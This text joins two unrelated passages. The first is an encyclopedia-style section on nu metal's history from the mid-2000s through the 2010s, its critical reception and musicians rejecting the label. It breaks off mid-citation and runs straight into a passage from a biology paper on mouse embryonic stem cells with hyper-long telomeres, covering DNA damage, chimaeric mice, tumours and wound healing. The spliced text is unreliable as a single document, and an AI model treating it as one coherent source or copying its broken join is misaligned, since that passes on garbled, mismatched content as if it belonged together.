Soulfly moved away from the nu metal style[312][313][314] and moved to styles such as death metal[313] and thrash metal.[312][314] Kittie abandoned the nu metal style and started making music with elements of genres such as black metal and death metal.[315] Korn and Mudvayne continued being mainstream during the mid-2000s. Nonetheless, they did not completely abandon the nu metal style. Korn combined their earlier sound with influences from other genres, such as industrial. Korn's songs "Coming Undone" and "Twisted Transistor", which both are on their 2005 album See You on the Other Side, both reached the Billboard Hot 100;[267] Pop music producers The Matrix helped produce the album.[316] Mudvayne's 2005 album Lost and Found was seen as gravitating towards a more accessible sound.[317] The album's song "Happy?" peaked at number 89 on the Billboard Hot 100 and at number 91 on Billboard's Pop 100 chart.[318] In 2005, Limp Bizkit released a record called The Unquestionable Truth (Part 1) without promoting and advertising the record.[319] The album was not very popular;[320] its sales fell 67% during its second week of release.[321] In 2006, Limp Bizkit went on hiatus.[319]
2010–present: Recent years [ edit ]
During the 2010s, there was a discussion within media of a possible nu metal revival because of bands fusing nu metal with other genres, the return of nu metal bands, extant bands going back to the nu metal genre and nu metal bands forming.[322][323][324][325][326] Despite the lack of radio play and popularity, some nu metal bands recaptured some of their former popularity as they released albums in a nu metal style. Korn's 2010 studio album Korn III: Remember Who You Are sold 63,000 copies during its first week of release and peaked at number 2 on the Billboard 200.[327] As of December 6, 2011, the album had sold at least 185,000 units in the United States.[328] Korn's vocalist Jonathan Davis said with their new album the band "want to go back to that old-school vibe".[329] He also said "It's gonna be very raw, it's gonna be old school like the first Korn records".[329]
In 2011, Limp Bizkit's sixth studio album Gold Cobra was released; it sold 27,000 copies during its first week in the United States and peaked at number 16 on the Billboard 200.[330][331] That same year, Staind's self-titled album was released; it shows the band returning to their heavier nu metal style.[332] The album debuted at number 5 on the Billboard 200, selling 47,000 copies in its first week of release, making it the band's fifth consecutive top-five album.[333] In October 2011, Evanescence's self-titled album debuted at number 1 on the Billboard 200 and other United States charts and sold over 127,000 copies in the first week.[334] In December that year,[335] Korn released their album The Path of Totality, which sold 55,000 copies in its first week.[336] The album combines nu metal with dubstep.[337] Both the Phoenix New Times and the LA Weekly cited The Path of Totality as a new direction for nu metal.[338][339] The album won a Revolver Golden God award for "Album of the Year".[340]
In 2014, Linkin Park returned to their nu-metal roots with their sixth studio album The Hunting Party.[341] The album peaked at number three on the Billboard 200, with first-week sales of 110,000 copies in the United States.[342] In 2014, Slipknot released its fifth studio album.5: The Gray Chapter. With.5: The Gray Chapter, Slipknot returned to the nu metal genre.[343].5: The Gray Chapter peaked at number one on the Billboard 200.[344]
Many metalcore and deathcore groups[345] such as Emmure,[346][347][348] Of Mice & Men,[349][350][351] Suicide Silence,[352][353] and Issues,[354][355] all gained moderate popularity in the 2010s for drawing influence from nu metal. This fusion has often been referred to as nu metalcore.[356] Suicide Silence's 2011 album The Black Crown, which features elements of nu metal and deathcore,[352] peaked at number 28 on the Billboard 200.[357][358] In 2014, Issues' self-titled debut album peaked at number 9 on the same chart.[359] The album features elements of metalcore, nu metal, pop and R&B.[360] Of Mice & Men's 2014 album Restoring Force, which features elements of nu metal,[350] peaked at number 4 on the Billboard 200.[361] Bring Me the Horizon, previously known for a much heavier style of music, released their fifth album That's the Spirit, which peaked at number 2 on the Billboard 200, in 2015.[362] The album draws from multiple genres, including nu metal; however, the band completely abandoned their metalcore style.[363][364] In the mid–late 2010s, nu metal-influenced genres like emo rap and trap metal emerged.[365][366]
Reception and controversy [ edit ]
Despite its popularity in the late 1990s and early 2000s, nu metal has often been criticized by many fans of heavy metal music,[49][58] often being labelled with derogatory terms such as "mallcore" and "whinecore". Gregory Heaney of AllMusic called nu metal "one of metal's more unfortunate pushes into the mainstream".[367] Lucy Jones of NME called nu metal "the worst genre of all time".[65] In Metal: The Definitive Guide : Heavy, NWOBH, Progressive, Thrash, Death..., Garry Sharpe-Young described nu metal as "a dumbed-down and—thankfully short[-]lived exercise".[100] When Machine Head moved to the nu metal genre with their album The Burning Red and their vocalist Robb Flynn spiked his hair in the fashion of many nu metal musicians, the band were accused of "selling out" and many fans criticized their change of appearance and musical style.[162][368] Machine Head's drummer Dave McClain said, "Pissing people off isn't a bad thing, you know? For people to be narrow-minded is bad... [i]t doesn't bother us at all, we know we're going to piss people off with this record, but some people hopefully will actually sit down and listen to the whole record".[162] Robb Flynn, Machine Head's vocalist, said
"There's a minute and a half of rapping on that album. The other 53 minutes of the record are like a giant scar being ripped open while I projectile-vomit through it. If all that people got out of [The Burning Red] was rap-metal, then they didn't fucking listen to it".[162]
Jonathan Davis, the vocalist of Korn, spoke about the criticism of nu metal from heavy metal fans, saying
"There's a lot of closed-minded metal purists that would hate something because it's not true to metal or whatever, but Korn has never been a metal band, dude. We're not a metal band. We've always been looked at as what they called the nu-metal thing. But we've always been the black sheep and we never fitted into that kind of thing so... We're always ever evolving, and we always piss fans off and we're gaining other fans and it is how it is."[369]
Lamb of God's vocalist Randy Blythe criticized the nu metal genre and spoke about its loss of popularity in 2004, saying, "Nu-metal sucks, so that's why that's dying off. And I think...... people are ready for angrier music. I think people are ready for something that's real, not, you know, 'I did it all for the nookie.'"[370] Dave Mustaine of the heavy metal band Megadeth said he would "rather have his eyelids pulled out" than listen to nu metal.[371] Gary Holt, a member of the thrash metal bands Exodus and Slayer, said that he "was so glad about" the decline of nu metal.[372] Despite the large amount of criticism that the genre received, Jack Porter of The Michigan Daily defended nu metal, writing
"Unfortunately, some barriers prevent listeners from understanding nu-metal bands apart from the identity that genre label has given them—picture a bone-headed suburban white kid sporting a backwards baseball cap. What used to be a descriptor for a specific strain of alternative metal turned into a ghetto for every band that a) plays extremely heavy yet radio-friendly music and b) sucks. Because the genre came to be defined by its lack of quality, many'serious' music fans have missed out on what it has to offer."[28]
Additionally, Jody Macgregor of FasterLouder called nu metal "music's most hated genre" and wrote that nu metal is "not as bad as people think".[373]
"Nu-metal makes my stomach turn. Don't blame that poo poo on us, blame it on their mothers! Do you think I listen to any of that stuff at all? No, it's for 13-year-old morons! Believe me, we'll all be laughing about nu-metal in a couple of years. Heck, I'm actually laughing at it now!" Mike Patton criticizing nu metal in 2002.[77]
Some musicians who influenced nu metal have tried to distance themselves from the subgenre and its bands. Mike Patton, the vocalist of Faith No More and Mr. Bungle, tried to distance himself from the subgenre and criticized it, even though he is featured on the song "Lookaway" on heavy metal band Sepultura's album Roots, which also features Jonathan Davis.[374] Patton said of his music's influence on nu metal, "I feel no responsibility for that, it's their mothers' fault, not mine".[375] Helmet member Page Hamilton said, "It's frustrating that people write [us] off because we're affiliated with or credited with or discredited with creating nu-metal and rap metal... which we sound nothing like".[376] However, Page Hamilton appeared on the song "All for Nothing" on Linkin Park's album The Hunting Party,[377]
While Trent Reznor of Nine Inch Nails has said he knows some Korn members and that he thinks they are "cool guys",[378] he also criticized nu metal, saying:
"When I'm asked what do I think of a lot of the nu-metal bands that are out there, my response is that it seems really insincere to me. 'I've had a really shitty childhood and I'm really upset and I'm really ugly and I've put a lot of make-up on and I'm harder and faster and my voice sounds more like the cookie monster's than yours does'. To me it all comes across as being comical, as being a parody of itself."[379]
In response to reports that Fred Durst, lead singer of Limp Bizkit, is a big fan of Tool, the latter's vocalist Maynard James Keenan said, "If the lunch-lady in high school hits on you, you appreciate the compliment, but you're not really gonna start dating the lunch-lady, are ya?"[380] While Durst has cited Rage Against the Machine as a major influence,[381][382] Tim Commerford of Rage Against the Machine is open about hating Limp Bizkit's music. At the 2000 MTV Video Music Awards, Limp Bizkit won the Best Rock Video category for their song "Break Stuff", beating Rage Against the Machine's "Sleep Now in the Fire".[382] When Limp Bizkit accepted their award, Commerford went on stage and climbed 20 ft (6 m) up a backdrop, rocking back and forth.[382][383] After the incident, Commerford was arrested and spent a night in jail.[382][384] Years later, Tim Commerford called Limp Bizkit "one of the dumbest bands in the history of music".[384] Years later, Commerford also said, "I do apologize for Limp Bizkit. I really do. I feel really bad that we inspired such bullshit... They're gone, though. That's the beautiful thing."[381][382]
Rejection of nu metal label [ edit ]
Some nu metal musicians have rejected the label nu metal and have tried to distance themselves from it. Slipknot prefer to distance themselves from other nu metal groups, describing their own music as "metal metal" and equate their link to nu metal as a coincidence of their time of emergence.
Jonathan Davis has rejected the nu metal label, saying "We're not 'rap rock,' we're not 'nu-metal... We might have invented a new genre of heavy music or rock, but I believe the term 'nu-metal' was made up for all the bands that followed us. Those guys to me are nu-metal. And we're just Korn."[32] In 2014, Davis spoke about the nu metal label, saying:
"I've always rejected [Korn's pigeonholing] into some kind of genre that we helped create. It seems like when a band comes out and we do something new and something different, that's all great. When a whole bunch of bands jump on the bandwagon and start copying what that one band did, then it gets called something and those bands are cheap knockoffs of what the original thing was. So, to me, that's why I never liked the 'nu metal' term."[386]
Staind's vocalist Aaron Lewis rejected the nu metal label, saying, "if we get called a 'nu metal' band one more time, I don't even know what I'm going to do!"[37] Chino Moreno, vocalist of Deftones, rejected the nu metal label saying "We told motherfuckers not to lump us in with nu metal because when those bands go down we aren't going to be with them".[387] As Deftones abandoned the nu metal sound of their early work, Moreno tried to distance himself from nu metal bands and began to criticize the bands and their albums, including Korn's 2002 album Untouchables; he said, "As Korn go on, it's the same things—bad childhoods and mean moms. It gets too old after a while. How old is Jonathan [Davis]? Thirty? How long has it been since he lived with his parents?"[388][389] Davis responded saying, "Obviously, Chino hasn't listened to the words on the rest of my albums because they're nothing about my parents or my childhood."[389 |
2) and ES cells at the indicated passages. We show a representative graph of three independent experiments. (e) Per cent of cells with more than two TIFs, analysed by IF with anti γH2AX and TRF1 antibodies in primary MEFs (passage 2) and ES cells at the indicated passages. We show a representative graph of three independent experiments. (f) Representative micrographs of control or damaged cells. Cells were subjected to IF with anti γH2AX and TRF1 antibodies. Co-localization of γH2AX and TRF1 is indicated with yellow arrows. Scale bar, 10 μm. (g) Mean number of MTS in metaphases from ES cells at the indicated passages, analysed by telomere FISH. Representative graph of two independent experiments. (h) Representative images of metaphases at passages 5 and 50. A representative telomere shape is highlighted in each micrograph. Scale bar, 5 μm. n=number of independent primary MEFs or clones of ES cells. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values. MEF, mouse embryonic fibroblasts. Full size image
Proper telomere function requires binding of the shelterin complex to telomeric repeats1,5. The shelterin protein TRF1 (telomere repeat binding factor 1) is involved in telomere capping and telomere length regulation37,38,39,40. Interestingly, TRF1 is highly expressed in ES cells as well as in induced pluripotent stem (iPS) cells35,41 and this enrichment is also maintained in adult stem cell compartments compared with more differentiated compartments in the context of the organism41. Thus, we next asked whether in vitro expansion of ES cells affected TRF1 levels. To this end, we quantified TRF1 levels at a single-cell level by immunofluorescence (IF) with anti-TRF1 antibodies using confocal microscopy (Fig. 1b,c). We found higher TRF1 levels in the ICM of the blastocyst compared with the trophectoderm or to mouse embryonic fibroblasts (Fig. 1b,c and Supplementary Fig. 4a,b). Interestingly, we found that early passage ES cells (up to passage 24) retained similarly high TRF1 levels to those present in the ICM but TRF1 levels decreased at higher passages, which may reflect a change in ES cell properties at later passages. These results indicate that maximal telomere length is achieved and high TRF1 levels are maintained after moderate in vitro passaging of ES cells (up to passage 24).
ES cells with hyper-long telomeres do not show increased DNA damage
We next asked whether continuous telomere lengthening associated to in vitro ES cell expansion would cause DNA damage, particularly at regions difficult to replicate such as telomeres. γH2AX is a marker of double-strand breaks and dysfunctional telomeres, the latter also known as telomere damage-induced foci or telomere-induced foci (TIFs)42,43. To asses DNA damage specifically at telomeric chromatin, we performed double IF with anti-γH2AX and TRF1 antibodies to quantify TIFs (Fig. 1d–f). We found very few ES cells with DNA damage (>3 γH2AX foci per cell) up to passage 24, but this percentage significantly increased at later passages with more than 40% of the cells showing DNA damage (Fig. 1d). In the case of telomere-specific damage, we also observed low numbers of TIF-positive cells until passage 24, and this was significantly increased at later passages (Fig. 1e,f). We found similar results when we analysed telomere damage by telomere FISH combined with IF using anti 53BP1 antibody (Supplementary Fig. 4c,d). To study the specific type of DNA damage present at later passages in cells with hyper-long telomeres, we arrested cells with colcemid and performed telomere Q-FISH on metaphase spreads. We found that the only telomere aberration increased with ES cell passaging was the presence of multitelomeric signals (MTS) (Fig. 1g,h), a type of aberration previously associated to increased telomere fragility as the result of replication stress at telomeres13,44. Interestingly, TRF1, which is also decreased at later passages (Fig. 1b), has been previously shown to protect from telomere fragility38,44.
Taken together our results demonstrate that hyper-long telomeres after moderate ES cell passaging (up to 24 passages) are well capped and do not show increased DNA damage.
Hyper-long telomeres contribute to healthy chimaeric mice
We next addressed the capability of ES cells bearing hyper-long telomeres to contribute to chimaera formation in vivo and to retain hyper-long telomeres in the adult organism (Fig. 2a–f). To this end, we aggregated GFP-positive ES cells with hyper-long telomeres (passage 16) with eight-cell morulae, and derived from them chimaeric mice (see Fig. 3a; note longer telomeres in GFP-positive ICM cells compared with the GFP-negative ICM of the unmodified species). Gross phenotypic analysis of the resulting chimaeric mice showed that they were normal compared with the unmodified species. To track cells derived from GFP-positive ES cells with hyper-long telomeres, we performed immunohistochemistry of different tissues with an anti-GFP antibody. In particular, we focused our analyses in the intestine and the skin as an example of two highly proliferative tissues, as well as in the brain, as an example of a low proliferative tissue. Tissues were analysed at four time points during the mouse lifespan: 0; 1; 6; and 12 months of life. We observed the presence of both GFP-positive and -negative cells in all tissues analysed (Fig. 2a,b). The percentage of GFP-positive cells was ∼20–50 per cent in all tissues studied, and this was maintained when chimaeric mice were analysed at different time points indicating that cells bearing long telomeres are functional and maintained with ageing (Fig. 2a,b). Importantly, these chimaeric tissues showed a normal histology and we did not observe any pathological finding (Fig. 2a and Supplementary Fig. 5a). To study dynamically the fate of cells with hyper-long telomeres in vivo, we performed a longitudinal analysis of the percentage of cells expressing GFP in peripheral blood samples from chimaeric mice bearing either normal or hyper-long telomeres (Fig. 2d) from 4 until 8 months of age. We found that GFP-positive cells with hyper-long telomeres are maintained, or even increased in some cases, over time with respect to the starting point (Fig. 2d). As control, while GFP-positive cells containing normal telomere length were also maintained with time (Supplementary Fig. 5b). We further confirmed telomere length in GFP-positive or -negative cells by Q-FISH in blood samples from these chimaeric mice (Supplementary Fig. 6a). Note that in chimaeric mice bearing GFP-positive cells with normal telomere length both the GFP-positive or -negative cells display similar telomere intensities (upper graph and pictures), while in chimaeric mice bearing GFP-positive cells with hyper-long telomeres, GFP-positive cells display brighter telomeres than the GFP-negative cells (lower graph and pictures; Supplementary Fig. 6a,b).
Figure 2: Tissues bearing cells with hyper-long telomeres are healthy. (a) Micrographs show histology of intestine, skin and brain from chimaeric mice bearing cells with normal telomere length and other cells with hyper-long telomeres (GFP-positive). Note that tissues containing GFP-positive cells are healthy. Scale bar, 50 μm. (b) The graphs show the percentage of GFP-positive cells found in intestine, brain and skin of chimaeric mice bearing hyper-long telomeres, over the period of time indicated. (c) The scheme shows how chimaeric mice were generated. (d) Per cent of GFP-positive cells in blood from chimaeric mice bearing hyper-long telomeres during the period of time is indicated. (e) Scheme shows that the chimaeric mice analysed were constituted by two different backgrounds, 129S1 with hyper-long telomeres and CD1 cells with normal length telomeres. (f) Graphs show mean telomere length in intestine, skin and brain in newborns and 6 months chimaeric mice compared with aged-matched animals from the 129S1 and CD1 backgrounds. Representative graph of two independent experiments. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values. E&H, eosin and haematoxylin. Full size image
Figure 3: Both hyper-long and normal length telomeres shorten with age in vivo. (a) The scheme shows how the chimaeric mice were generated. Underneath, The graphs show mean telomere length in ES cells used for microinjection, The ICM of the blastocyst, intestine, skin and brain from chimaeric mice bearing hyper-long (GFP-positive) and normal length (GFP-negative) telomeres, at the indicated time points. Samples were subjected to IF with anti-GFP antibody combined with telomere FISH. Telomere length was analysed by telomapping. Representative graph of two independent experiments. (b) Representative images showing GFP-positive cells (green), GFP-negative cells and telomere FISH in blastocyst and in 1-month-old skin. Scale bar, 10 μm. (c) Graphs present the rate of mean telomere length shortening per month in intestine, skin and brain for the indicated periods. n=number of blastocyst, or independent clones of ES cell (passage 16) or independent chimaeric mice. Representative graph of two independent experiments. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values. Full size image
Because the chimaeric mice contained two different genetic backgrounds (Fig. 2e), 129S1 cells (with hyper-long telomeres) and CD1 cells (with normal length telomeres) from receptor morulae, we compared telomere length in the chimaeric mice with age-matched mice of the 129S1 and CD1 backgrounds in newborns and 6-months-old chimaeric mice. As shown in Fig. 2f and Supplementary Figs 6c and 7, GFP-positive cells, bearing hyper-long telomeres had a higher mean telomere length than cells of both the 129S1 and CD1 backgrounds with normal length telomeres. Indeed, the mean telomere length was similar in the chimaera eGFP-negative cells and in cells from non-chimaeric mice from either background (Fig. 2f).
These results demonstrate the contribution of GFP-positive ES cells with hyper-long telomeres to the formation of healthy tissues and mice which contain GFP-positive cells with longer telomeres than those of the unmodified species (GFP-negative cells). These findings suggest that cells with hyper-long telomeres are maintained during both embryonic and adult mouse development.
Both long and normal length telomeres shorten with age
Next, we sought to investigate the length dynamics of hyper-long telomeres in the context of the organism with increasing age. To this end, we performed Q-FISH using a telomere probe to measure telomere length combined with IF using anti-GFP antibody to track the cells derived from ES cell with hyper-long telomeres in sections from the intestine, skin and brain, from chimaeric mice at 0, 1, 6 and 12 months of age (Methods). We confirmed longer telomeres in the GFP-positive ES cells used for morulae aggregation and in the derived GFP-positive ICM cells compared with the GFP-negative ICM cells within the same blastocyst (Fig. 3a,b and Supplementary Figs 8 and 9)35. After birth, we observed telomere shortening with age in all mouse tissues analysed, including the brain, in agreement with previous findings (Fig. 3a and Supplementary Figs 8–10)16. At all the different ages studied, we observed that the mean telomere length of GFP-positive cells (derived from ES cells with hyper-long telomeres) was higher than the mean telomere length of the GFP-negative cells (derived from ES cells of the unmodified species with normal length telomeres) in all tissues analysed (Fig. 3a and Supplementary Figs 8 and 9), in spite of a slightly increased rate of telomere shortening in the GFP-positive cells (Fig. 3c), probably due to the starting differences in telomere length in these cells. Note that cells with hyper-long telomeres were never found or were very rare in the GFP-negative tissue compared with the GFP-positive cells (Fig. 3a and Supplementary Figs 7–9). Interestingly, we noticed that telomere shortening with age was not uniform over time, with the highest rate of telomere shortening per month occurring during the first month of life in both the GFP-positive and -negative cells (Fig. 3c), which has also been observed in human blood45. This high rate of telomere shortening also affected to the brain. This fast telomere shortening soon after birth may reflect on the higher proliferation rates in newborn mice to reach the size of adults.
In summary, these findings indicate that telomere shortening occurs associated with ageing in the context of mouse tissues in both cells derived from ICM of the recipient blastocyst (GFP-negative cells) with normal length telomeres and ES cells with hyper-long telomeres (GFP-positive), and that this is exacerbated during the first month of life. Importantly, adult cells derived from GFP-positive ES cells with hyper-long telomeres showed longer telomeres at any time point in all tissues analysed indicating that we achieved generation of adult tissues bearing longer telomeres than those of the unmodified species without any genetic manipulation and in particular without transgenic germ line telomerase overexpression.
To further confirm these results, we studied chimaeric mice showing a 100% of chimaerism. In particular, we determined telomere length, shelterin levels, as well as telomerase levels in blood samples at 20 and 40 weeks after birth. We confirmed longer telomeres in the 100% GFP-positive chimaeric mice with hyper-long telomeres at both time points compared with 100% GFP-positive cells chimaeric mice with normal telomere length, as well as compared with chimaeric mice with normal telomeres and age-matched control mice (Supplementary Fig. 11a,c). In addition, 100% chimaeric mice with hyper-long telomeres showed less percentage of short telomeres compared with 100% chimaeric mice with normal telomere length (Supplementary Fig. 11a–c). We then analysed the levels of different shelterin proteins in 100% chimaeric mice with normal or hyper-long telomeres. By IF, we found similar levels of TRF1 or RAP1 shelterins in blood samples from either 100% chimaeric mice with normal or hyper-long telomeres (Supplementary Fig. 11d–f). By quantitative PCR, we also confirmed similar mRNA levels of shelterin and telomerase, both in blood and skin samples from 100% chimaeric mice with normal or hyper-long telomeres or controls (Supplementary Fig. 12). Finally, we demonstrate similar telomerase TRAP activity in spleen from chimaeric mice with normal length and hyper-long telomeres as well as in the control mice (Supplementary Fig. 13).
These results suggest that mice with hyper-long telomeres do not have globally an altered expression of shelterin or telomerase gene compared with control mice.
Longer telomeres in adult stem and differentiated cells
Stem cell compartments are enriched in cells with the longest telomeres compared with the more differentiated compartments within the same tissue both in mice and humans16,46. Furthermore, long telomeres are advantageous for stem cell function in vivo17, as critical telomere shortening in stem cells impairs their ability to mobilize and regenerate tissues17 and short telomeres impair self renewal and repopulation capacity in blood and intestine47,48. Thus, we set to address whether stem cells derived from GFP-positive ES cells with hyper-long telomeres retained longer telomeres in the adult organism. In particular, we compared telomere length in GFP-positive and negative cells located at known stem cells compartments in both the skin and small intestine. Briefly, we combined IF with anti-GFP antibody with telomere Q-FISH on tissue sections to generate maps of telomere length at a single-cell level within tissues (immuno-telomapping; Methods). In the case of the intestine and skin from 6-month-old chimaeric mice (Fig. 4), GFP-positive cells located at known stem cell compartments (the intestinal crypts in the case of the small intestine and hair bulge in the case of the skin) had longer telomeres than the GFP-negative counterparts at the same compartments (Fig. 4a–d). In the case of the differentiated compartments (villi and basal layer), we also observed longer telomeres in the GFP-positive cells compared with the GFP-negative neighbouring cells (Fig. 4a–d).
Figure 4: Hyper-long telomeres remain long in stem cell niches and differentiated compartments despite ageing. (a) Representative image of a 6 months chimaeric intestine after IF with anti-GFP antibody combined with telomere FISH (left). The map shows telomere intensity of each cell, analysed by telomapping. The colour-intensity code is specified over the image (right). (b) Representative image of 6 months chimaeric skin after IF with anti-GFP antibody combined with telomere FISH (left). The map shows telomere intensity for each cell, analysed by telomapping. The colour-intensity code is specified over the image (right). Below, mean telomere-length quantification of the cells contained in the stem cell niches (crypt or hair bulge) and differentiated compartments (villi and basal layer), differentiating the GFP-positive versus GFP-negative patches. Note that longer telomeres coincide with the GFP-positive patches. Representative images of five independent analysis. n=number of chimaeric mice. (c) Magnification of the square area in picture a separating the telomere FISH and the GFP signals. (d) Magnification of the square area in b separating the telomere FISH and the GFP signals. Bar, 20 μm. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values. Full size image
Together, these results indicate that aggregation of ES cell with hyper-long telomeres results in both adult stem cell compartments and differentiated compartments containing cells with longer telomeres compared with the corresponding adult compartments in the unmodified species. This finding is in agreement with the fact that the percentage of GFP-positive cells in the tissues studied is similar in chimaeric mice of different ages.
Lower accumulation of short telomeres with aging
Next, we addressed whether the accumulation of cells with short telomeres with ageing was also lower in GFP-positive cells. In M. musculus, the 10% percentile in the reference population (in this case, the GFP-negative newborns, whose telomere length is similar to the 129S1 unmodified species in age-matched animals) is used to quantify short telomeres. Percentile 10% corresponded to a telomere length of approximately <15 kb (ref. 31). The percentage of cells with short telomeres was zero in the case of the ICM of the blastocyst for both genetic backgrounds (Fig. 5). Strikingly, the percentage of cells with short telomeres was lower for the GFP-positive cells at the different ages and tissues studied (Fig. 5a). Interestingly, tissues with a higher rate of proliferation accumulated more cells with short telomeres in both positive and negative GFP cells at the 12 months time point (Fig. 5a). In both positive and negative GFP cells, the biggest increase in the percentage of cells with short telomeres occurred during the first month of life (Fig. 5b), in agreement with a faster rate of telomere shortening early in life, until the adult organism is formed. Of note, after the first month of life, and for the rest of the time points analysed, the biggest accumulation of cells with short telomeres continued to occur in the GFP-negative cells.
Figure 5: The amount of cells containing short telomeres is reduced in chimaeric mice containing hyper-long telomeres. (a) The graphs show the per cent of cells with short telomeres in the ICM of the blastocyst, intestine, skin and brain at the indicated time points. Samples were subjected to IF with anti-GFP antibody combined with FISH and analysed by telomapping. (b) Graphs show the increase in the per cent of cells with short telomeres per month in intestine, skin and brain at the indicated time points. Samples came from chimaeric mice and were analysed as described in a. n=number of blastocysts or chimaeric mice. Representative graphs of two independent experiments. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values. Full size image
Our results suggest that adult cells derived from ES cell with hyper-long telomeres preserve longer telomeres and accumulate lower numbers of short telomeres with age.
Mice with longer telomeres show less DNA damage and tumours
First, as an indication of proper telomere capping, we examined TRF1 levels in both GFP-positive and -negative cells. TRF1 is an essential shelterin component that plays a role in telomere protection by preventing telomere fragility and fusions, which in turn are associated to premature tissue ageing and increased cancer susceptibility5,13,44,49. To this end, we analysed TRF1 abundance at telomeres in both ES cells used for aggregation experiments as well as in 6- and 12-moths-old chimaeric mice. A tendency to find the mean TRF1 intensity higher in the GFP-positive cells than in the GFP-negative was observed in all the tissues analysed (Fig. 6a and Supplementary Fig. 14), reflecting on adequate telomere protection.
Figure 6: Analysis of TRF1 and DNA damage in chimaeric tissues. (a) Mean TRF1 intensity in cells bearing normal (GFP-negative) or hyper-long telomeres (GFP-positive) in ES cells used for the generation of chimaeric mice, and in brain, intestine and skin from the chimaeric mice at 6 and 12 months. Tissues were subjected to IF with anti-GFP and anti-TRF1 antibodies. Representative graphs of two independent experiments. (b) Per cent of cells positive for γH2AX in brain, intestine and skin tissue from chimaeric mice at 6 and 12 months. Tissues were subjected to IF with anti-GFP and anti-γH2AX antibodies. Representative graphs of two independent experiments. (c) Representative images of brain tissues as described in b. Scale bar, 10 μm. (d) The graph shows the per cent of P53-positive cells in skin from 1-year-old chimaeric mice bearing hyper-long telomeres for both GFP-positive and -negative cells. Underneath, a representative image of intestine stained for GFP and P53 and in 1-year-old chimaeric mice. The yellow arrowhead indicates GFP stain and the red arrow indicates p53 stain. Scale bar, 50 μm. (e) The graph shows the per cent survival of three different cohorts of mice, chimaeric mice with normal telomere length, chimaeric mice bearing cells with hyper-long telomeres and control mice. (f) The graphs show the percentage of spontaneous tumour incidence in the three cohorts of mice described in e. (g) Chemical carcinogenesis experiment. The graph shows the total number of papillomas in chimaeric mice bearing hyper-long telomres, normal length telomeres or in age-matched mice of the 129S1 and C57Bl6 backgrounds. Representative graph of two independent experiments. (h) The graph shows the percentage of area affected by hyperkeratosis in the mice described in g. Representative graph of two independent experiments. (i) Representative micrograph of back skin of mice affected with hyperkeratosis. (j) E&H images on skin affected with hyperkeratosis. The lesion was diagnosed parakeratotic hyperkeratosis, as no signs of inflammation were observed. n=number of independent clones of ES cells or chimaeric or control mice. Scale bar, 50 μm. The s.e.m. was represented in error bars. Student t-test with the Bonferroni correction was used to calculate the P values, except for the graph of e, where a log rank test was used. E&H, eosin and haematoxylin. Full size image
Next, we studied accumulation of DNA damage. Long telomeres could be a target of DNA damage owing to more difficulties to replicate repetitive DNA, although DNA damage can occur independently of telomere length due to genotoxic stress50,51. We determined DNA damage by % of cells showing >2 γ-H2AX foci in tissues at 6- and 12-months-old animals (Fig. 6b,c and Supplementary Fig. 15a). We observed a moderate number of cells showing DNA damage in all the tissues analysed and this increased with ageing, but there was a tendency to accumulate more of these cells in the GFP-negative cells at both time points, in agreement with shorter telomeres in these cells. Although in this assay we cannot distinguish damage at telomeres from other regions, these findings are in line with the notion that longer telomeres are more efficiently protected from damage by maintaining a functional telomere capping structure41,46,49. In agreement with the lower DNA damage, we also detected increased numbers of cells positive for p53 staining in the GFP-negative population compared with the GFP-positive cells both in intestine and skin (Fig. 6d and Supplementary Fig. 15b). These results suggest that hyper-long telomeres are well capped in the context of the organism as indicated by high levels of the TRF1 protein, which in turn ensures a lower accumulation of DNA damage and of p53 in tissues with ageing.
Importantly, we found that hyper-long telomeres did not result in detectable long-term deleterious effects for mice, as indicated by a similar survival of the chimaeric mice bearing cells with hyper-long telomeres compared with chimaeric mice with normal telomere length (see Fig. 6e). In line with this, we did not find increased incidence of spontaneous tumours in the chimaeric mice with hyper-long telomeres, indeed, none of the chimaeric mice bearing hyper-long telomeres developed any spontaneous tumours in the curse of the survival follow-up (Fig. 6f). To further study whether hyper-long telomeres could be influencing cancer, we performed a 7,12-dimethylbenz[a]anthracene (DMBA) -phorbol 12-myristate 13-acetate (TPA) chemical carcinogenesis protocol on the skin of chimaeric mice with normal or hyper-long telomeres, as well as age-matched controls (Methods). DMBA was applied once on mouse skin, followed by TPA treatment during 15 weeks. The evolution of papillomas was further observed during at least 20 weeks after DMBA treatment. After 20 weeks following DMBA treatment, only 129S1 control mice showed papillomas, whereas C57BL6 control mice and chimaeric mice with normal and hyper-long telomeres did not show papillomas (Fig. 6g and Supplementary Fig. 16). Note that the C57Bl6 background is very resistant to papilloma formation52,53,54. In addition, at 10 weeks after DMBA treatment, we observed the presence of preneoplastic lesions such as parakeratotic hyperkeratosis, produced by external addition of TPA and not due to inflammation processes since neutrophils were not present in a systematic way (Fig. 6h–j) in the skin of control mice and chimaeric mice with normal telomere length. Interestingly, in chimaeric mice with hyper-long telomeres, the patches of skin with hyper-long telomeres (GFP-positive cells) did not show presence of hyperkeratosis while these lesions were readily observed in the patches of skin with normal length telomeres (GFP-negative cells) from the same mice (see Fig. 6h,i).
Cells with hyper-long telomeres show better skin wound healing
Previous studies have shown that wild-type long telomeres have advantageous effects over short telomeres in the context of the telomerase-deficient mouse model, particularly in the ability of skin stem cells to mobilize and maintain skin homeostasis17 and liver regeneration48. Here, we wondered whether hyper-long telomeres would be advantageous compared with normal length telomeres in the context of the organism. To address this, we generated two types of chimaeric mice: chimaeric mice with normal length telomeres by microinjecting ES cells at passage 4 (telomere length being similar to telomere length of the inner cells mass of the blastocyst35) in morulae and expressing GFP (in order to follow these cells in chimaeric tissue), as well as chimaeric mice with hyper-long telomeres by microinjecting ES cells expressing GFP at passage 16 (with hyper-long telomeres) (see scheme in Fig. 7a). In particular, ES cells with normal or hyper-long telomeres were microinjected in recipient morulae of the C57Bl6 background. Adult chimaeric mice bearing either normal or hyper-long telomere between 6 and 12 months and adult non-chimaeric mice of the 129S1 or C57Bl6 backgrounds (used as age-matched controls) between 6 and 12 months were anaesthetized to remove the back hair with depilatory cream. After a period of 3 days, they were anaesthetized again to cause superficial wounds of 4 mm diameter with a circular razor blade. We quantified the surface of the 4 mm wound every day. The area of the wound was reduced with days until its closure. In chimaeric mice with normal telomere length wounds were healed at the same rate than in control non-chimaeric mice (Fig. 7b). In contrast, in chimaeric mice with hyper-long telomeres, we found that rate of wound-healing was higher in the GFP-positive 